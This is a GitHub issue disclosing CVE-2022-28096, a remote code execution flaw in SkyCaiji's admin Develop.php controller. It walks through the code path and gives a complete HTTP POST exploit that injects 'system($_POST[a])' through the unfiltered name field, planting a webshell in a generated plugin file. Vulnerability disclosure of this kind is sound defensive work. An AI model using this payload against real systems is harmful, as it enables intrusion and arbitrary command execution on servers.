CVE-2022-28096: Remote code execution vulnerability in /SkycaijiApp/admin/controller/Develop.php · Issue #39 · zorlan/skycaiji

Vulnerability conditions

• Website Admin permissions

Vulnerability details

Location: /SkycaijiApp/admin/controller/Develop.php#L707#funcAction()

Code:

...
else{
                
                $module=input('module');
                $copyright=input('copyright');
                $identifier=input('identifier');
                $name=input('name');
                $methods=input('methods/a',array());
                
                if(empty($module)){
                    $this->error('请选择类型');
                }
                
                $module=$mfuncApp->format_module($module);
                $copyright=$mfuncApp->format_copyright($copyright);
                $identifier=$mfuncApp->format_identifier($identifier);
                
                if(!$mfuncApp->right_module($module)){
                    $this->error('类型错误');
                }
                if(!$mfuncApp->right_identifier($identifier)){
                    $this->error('功能标识只能由字母或数字组成，且首个字符必须是字母！');
                }
                if(!$mfuncApp->right_copyright($copyright)){
                    $this->error('作者版权只能由字母或数字组成，且首个字符必须是字母！');
                }
                
                $newMethods=array();
                foreach ($methods['method'] as $k=>$v){
                    if(preg_match('/^[a-z\_]\w*/',$v)){
                        
                        foreach ($methods as $mk=>$mv){
                            
                            $newMethods[$mk][$k]=$mv[$k];
                        }
                    }
                }
                $methods=$newMethods;
                unset($newMethods);
                
                if(empty($methods['method'])){
                    $this->error('请添加方法！');
                }
                
                $app=$mfuncApp->app_name($copyright,$identifier);
                
                $id=$mfuncApp->createApp($module,$app,array('name'=>$name,'methods'=>$methods));
                
                if($id>0){
                    $this->success('创建成功','Develop/func?app='.$app);
                }else{
                    $this->error('创建失败');
                }
            }
        }
....

Vulnerability key code:

$app=$mfuncApp->app_name($copyright,$identifier);
$id=$mfuncApp->createApp($module,$app,array('name'=>$name,'methods'=>$methods));`

�
follow up $mfuncApp->app_name

Concatenate $copyright, $identifier directly, then return.
Go back to $id=$mfuncApp->createApp($module,$app,array('name’=>$name,’methods’=>$methods));

follow up $mfuncApp->createApp

$module,$app,array('name’=>$name,’methods’=>$methods)

And the parameters we can control,follow up
$funcFile=$this->filename($module,$app);

Return directly after splicing

Continue back to the createApp function

There is no filter /* and */ for variables $name
/plugin/func/$module/$copyright$identifier.php

Exp is constructed directly here:

POST /index.php?s=/Admin/Develop/func HTTP/1.1
Host: 172.16.49.3:50004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 179
Origin: http://172.16.49.3:50004
Connection: close
Referer: http://172.16.49.3:50004/index.php?s=/admin/Develop/func
Cookie: PHPSESSID=o7c4tlckirjijmciq20ivi0cv4; login_history=3%7C6a03060e5e6600124dab098dfed314df

_usertoken_=94701bbd27956c7d922c079da883c68f&module=downloadImg&name=*/system($_POST[a]);/*&identifier=a11&copyright=b1&methods%5Bmethod%5D%5B%5D=a12&methods%5Bcomment%5D%5B%5D=11

check the file

Visit /plugin/func/downloadImg/A11B1.php
post: a=command